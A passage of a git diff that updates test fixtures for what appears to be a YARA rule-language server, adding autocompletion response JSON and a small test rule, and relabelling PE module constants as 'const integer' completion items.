2, + "kind": 5, + "label": "bytes_undef", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "enumeration", + "insertTextFormat": 2, + "kind": 5, + "label": "enumeration", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "nested", + "insertTextFormat": 2, + "kind": 5, + "label": "nested", + "labelDetails": { + "description": "struct" + } + }, + { + "insertText": "array_int64[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_int64", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_float[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_float", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_bool[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_bool", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_string[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_string", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_struct[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_struct", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "map_string_struct", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_struct", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_int64", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_int64", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_string", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_string", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_bool", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_bool", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_float", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_float", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_struct", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_struct", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_int64", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_int64", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_string", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_string", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_bool", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_bool", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_float", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_float", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "timestamp", + "insertTextFormat": 2, + "kind": 5, + "label": "timestamp", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "bool_yara", + "insertTextFormat": 2, + "kind": 5, + "label": "bool_yara", + "labelDetails": { + "description": "bool" + } + }, + { + "insertText": "file_size", + "insertTextFormat": 2, + "kind": 5, + "label": "file_size", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "requires_foo_and_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "requires_foo_and_bar", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "deprecated", + "insertTextFormat": 2, + "kind": 5, + "label": "deprecated", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "metadata", + "insertTextFormat": 2, + "kind": 5, + "label": "metadata", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "Enumeration", + "insertTextFormat": 2, + "kind": 13, + "label": "Enumeration", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "items", + "insertTextFormat": 2, + "kind": 13, + "label": "items", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "NestedProto2", + "insertTextFormat": 2, + "kind": 5, + "label": "NestedProto2", + "labelDetails": { + "description": "struct" + } + }, + { + "insertText": "TopLevelEnumeration", + "insertTextFormat": 2, + "kind": 13, + "label": "TopLevelEnumeration", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "INLINE_0x1000", + "insertTextFormat": 2, + "kind": 21, + "label": "INLINE_0x1000", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "INLINE_0x2000", + "insertTextFormat": 2, + "kind": 21, + "label": "INLINE_0x2000", + "labelDetails": { + "description": "const integer" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `add(a: float, b: float) -> float`\n\n Adds two floats." + }, + "insertText": "add(${1:a}, ${2:b})", + "insertTextFormat": 2, + "kind": 2, + "label": "add(a: float, b: float)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `add(a: integer, b: integer) -> integer`\n\n Adds two integers." + }, + "insertText": "add(${1:a}, ${2:b})", + "insertTextFormat": 2, + "kind": 2, + "label": "add(a: integer, b: integer)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `get_foo() -> string`\n\n Gets foo from the protobuf." + }, + "insertText": "get_foo()", + "insertTextFormat": 2, + "kind": 2, + "label": "get_foo()", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `head(n: integer) -> string`\n\n Extracts the first n bytes of the scanned data." + }, + "insertText": "head(${1:n})", + "insertTextFormat": 2, + "kind": 2, + "label": "head(n: integer)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `to_int(string: string) -> integer`\n\n Converts a string to an integer." + }, + "insertText": "to_int(${1:string})", + "insertTextFormat": 2, + "kind": 2, + "label": "to_int(string: string)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `undef_i64() -> integer`\n\n Returns an undefined integer." + }, + "insertText": "undef_i64()", + "insertTextFormat": 2, + "kind": 2, + "label": "undef_i64()", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `uppercase(s: string) -> string`\n\n Converts a string to uppercase." + }, + "insertText": "uppercase(${1:s})", + "insertTextFormat": 2, + "kind": 2, + "label": "uppercase(s: string)", + "labelDetails": { + "description": "func()" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion27.yar b/ls/src/tests/testdata/completion27.yar new file mode 100644 index 000000000..22a12ccf0 --- /dev/null +++ b/ls/src/tests/testdata/completion27.yar @@ -0,0 +1,5 @@ +import "test_proto2" +rule test { + condition: + test_proto2. +} diff --git a/ls/src/tests/testdata/completion8.response.json b/ls/src/tests/testdata/completion8.response.json index 7e186ac45..f80a7efa8 100644 --- a/ls/src/tests/testdata/completion8.response.json +++ b/ls/src/tests/testdata/completion8.response.json @@ -542,1369 +542,1369 @@ { "insertText": "MACHINE_UNKNOWN", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_UNKNOWN", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ALPHA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ALPHA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ALPHA64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ALPHA64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AM33", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AM33", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AMD64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AMD64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64EC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64EC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64X", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64X", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARMNT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARMNT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AXP64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AXP64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_EBC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_EBC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_I386", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_I386", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_IA64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_IA64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_LOONGARCH32", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_LOONGARCH32", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_LOONGARCH64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_LOONGARCH64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_M32R", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_M32R", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPS16", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPS16", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPSFPU", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPSFPU", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_MIPSFPU16", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_MIPSFPU16", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_POWERPC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_POWERPC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_POWERPCFP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_POWERPCFP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_R3000BE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_R3000BE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_R3000", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_R3000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_R4000", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_R4000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_R10000", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_R10000", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_RISCV32", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_RISCV32", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_RISCV64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_RISCV64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_RISCV128", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_RISCV128", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH3", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH3", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH3DSP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH3DSP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH4", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH4", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_SH5", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_SH5", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_THUMB", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_THUMB", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_WCEMIPSV2", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_WCEMIPSV2", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_UNKNOWN", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_UNKNOWN", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_NATIVE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_NATIVE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_WINDOWS_GUI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_WINDOWS_GUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_WINDOWS_CUI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_WINDOWS_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_OS2_CUI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_OS2_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_POSIX_CUI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_POSIX_CUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_NATIVE_WINDOWS", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_NATIVE_WINDOWS", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_WINDOWS_CE_GUI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_WINDOWS_CE_GUI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_EFI_APPLICATION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_EFI_APPLICATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_EFI_RUNTIME_DRIVER", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_EFI_RUNTIME_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_EFI_ROM_IMAGE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_EFI_ROM_IMAGE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_XBOX", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_XBOX", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SUBSYSTEM_WINDOWS_BOOT_APPLICATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_CURSOR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_CURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_BITMAP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_BITMAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_ICON", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_ICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_MENU", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_MENU", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_DIALOG", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_DIALOG", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_STRING", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_STRING", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_FONTDIR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_FONTDIR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_FONT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_FONT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_ACCELERATOR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_ACCELERATOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_RCDATA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_RCDATA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_MESSAGETABLE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_MESSAGETABLE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_GROUP_CURSOR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_GROUP_CURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_GROUP_ICON", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_GROUP_ICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_VERSION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_VERSION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_DLGINCLUDE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_DLGINCLUDE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_PLUGPLAY", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_PLUGPLAY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_VXD", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_VXD", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_ANICURSOR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_ANICURSOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_ANIICON", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_ANIICON", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_HTML", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_HTML", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RESOURCE_TYPE_MANIFEST", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RESOURCE_TYPE_MANIFEST", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMPORT_STANDARD", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMPORT_STANDARD", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMPORT_DELAYED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMPORT_DELAYED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMPORT_ANY", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMPORT_ANY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "RELOCS_STRIPPED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "RELOCS_STRIPPED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "EXECUTABLE_IMAGE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "EXECUTABLE_IMAGE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "LINE_NUMS_STRIPPED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "LINE_NUMS_STRIPPED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "LOCAL_SYMS_STRIPPED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "LOCAL_SYMS_STRIPPED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "AGGRESIVE_WS_TRIM", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "AGGRESIVE_WS_TRIM", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "LARGE_ADDRESS_AWARE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "LARGE_ADDRESS_AWARE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "BYTES_REVERSED_LO", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "BYTES_REVERSED_LO", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_32BIT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_32BIT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "DEBUG_STRIPPED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "DEBUG_STRIPPED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "REMOVABLE_RUN_FROM_SWAP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "REMOVABLE_RUN_FROM_SWAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "NET_RUN_FROM_SWAP", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "NET_RUN_FROM_SWAP", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SYSTEM", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SYSTEM", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "DLL", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "DLL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "UP_SYSTEM_ONLY", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "UP_SYSTEM_ONLY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "BYTES_REVERSED_HI", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "BYTES_REVERSED_HI", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_EXPORT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_EXPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_IMPORT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_IMPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_RESOURCE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_RESOURCE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_SECURITY", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_SECURITY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_BASERELOC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_BASERELOC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_DEBUG", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_DEBUG", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_TLS", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_TLS", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_IAT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_IAT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_NO_PAD", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_NO_PAD", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_CNT_CODE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_CNT_CODE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_CNT_INITIALIZED_DATA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_CNT_INITIALIZED_DATA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_CNT_UNINITIALIZED_DATA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_CNT_UNINITIALIZED_DATA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_LNK_OTHER", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_LNK_OTHER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_LNK_INFO", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_LNK_INFO", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_LNK_REMOVE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_LNK_REMOVE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_LNK_COMDAT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_LNK_COMDAT", "labelDetails": { - "description": 